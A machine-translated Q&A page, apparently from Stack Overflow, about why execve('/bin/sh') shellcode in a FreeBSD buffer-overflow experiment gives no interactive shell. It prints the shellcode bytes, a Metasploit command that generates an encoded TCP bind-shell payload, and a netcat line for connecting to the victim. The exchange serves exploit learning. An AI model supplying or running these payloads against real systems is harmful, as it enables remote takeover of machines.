缓冲区溢出 - 程序在生成shell后终止

时间:2012-05-26 14:27:34

标签: security assembly buffer-overflow shellcode

我一直在试验FreeBSD系统上的缓冲区溢出。 作为第一个实验,我试图让被利用的程序启动另一个进程(在这种情况下为/ bin / hostname)。一切正常,程序打印主机名然后终止。 之后我尝试让程序产生一个shell(即执行/ bin / sh)。我假设这可以通过简单地交换表示要调用的程序的字符串来完成。当我尝试这个时,被利用的程序就会退出,根据gdb,它确实成功地生成了一个新进程(/ bin / sh)。但是,没有生成shell。 然后我尝试了我的第一个漏洞并将/ bin / sh文件移动到/ bin / hostname,仍然没有改变任何东西。 我现在的问题是,从任何其他命令执行/ bin / sh似乎有什么不同?

作为参考,对于s​​hell产生尝试,我使用了以下shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";

1 个答案:

答案 0 :(得分:3)

哈,我明白你的意思,但我相信你犯的是一个根本性的错误。您正在调用交互式shell而不绑定它。

这就像调用“ifconfig”命令一样。如果你想要执行一个命令,那么你的shell代码是完美的,但是如果你想要一个交互式shell,你不能只运行sh。

简单地运行sh会导致shell被执行,它不会让你对shell进行交互式控制。


<强>解决方案: 使用shell代码生成器生成反向tcp shell或绑定shell,并将其用作漏洞利用的有效负载。

如果您尝试在Metasploit中执行此操作,那么这是您想要的示例命令。

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c
  • Msfpayload是函数的名称。 windows / shell_bind_tcp是 利用路径
  • LPORT是远程受害者计算机的端口 将有shell可访问
  • R代表原始输出
  • 然后我们将它传递给msfencode,因为我们需要C代码才能执行它 必须为该架构编译
  • -e表示要支持的编码类型和体系结构,例如,用于Win Sp2
  • -b表示您可能不在shell代码中使用的字节。例如00是字符串字节的结尾
  • -t是输出类型,如C代码。

研究一下,玩一下,你会得到它。实际上,与执行静态命令相比,获取交互式shell要困难得多。

完成后,您可以使用netcat等程序连接并使用shell。

netcat.exe -nv <victim ip> <port where shell was bound to>

希望这是正确的解决方案。